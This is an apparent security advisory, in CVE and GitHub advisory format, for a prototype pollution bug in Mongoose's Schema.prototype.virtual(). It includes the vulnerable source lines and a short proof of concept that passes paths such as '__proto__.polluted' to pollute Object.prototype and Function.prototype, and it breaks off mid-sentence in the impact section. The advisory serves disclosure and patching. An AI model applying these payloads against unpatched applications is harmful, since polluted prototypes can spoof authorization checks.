fkie_cve-2026-125118

2026-11-14T13:08:10.045934+00:00

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.12, 7.8.13, 8.24.7, and 9.11.4, Schema.prototype.virtual() builds nested virtual paths without applying the special-property validation already used by Schema.path() and Schema.add(). An attacker who can influence virtual field names in dynamic schemas, content-management form builders, or schema-as-code systems can supply path segments such as __proto__, constructor, or prototype, causing the virtual-path reducer to write enumerable properties to Object.prototype or Function.prototype. The resulting prototype pollution can spoof inherited property checks such as authorization flags and can provide function-prototype gadget state to other server-side JavaScript code. This issue is fixed in versions 6.13.12, 7.8.13, 8.24.7, and 9.11.4.

GHSA-6972-9mcm-vhwj — Mongoose: Prototype pollution via Schema.prototype.virtual()

2026-11-14T13:08:10.046103+00:00

Affected: npm: mongoose

### Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

### Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

```javascript virtuals[name] = parts.reduce(function(mem, part, i) { mem[part] || (mem[part] = (i === parts.length - 1) ? new VirtualType(options, name) : {}); return mem[part]; }, this.tree); // lines 2755-2759 ```

Unlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).

A path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.

### Proof of concept

```javascript const mongoose = require('mongoose'); const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted'); console.log(({}).polluted); // VirtualType instance console.log(Object.prototype.hasOwnProperty('polluted')); // true console.log(Object.getOwnPropertyDescriptor( Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol'); console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol'); console.log((function(){}).fpol); // Function.prototype polluted ```

### Impact

Attacker-influenced sch…

Most recent entries from all

fkie_cve-2026-125118

GHSA-6972-9mcm-vhwj — Mongoose: Prototype pollution via Schema.prototype.virtual()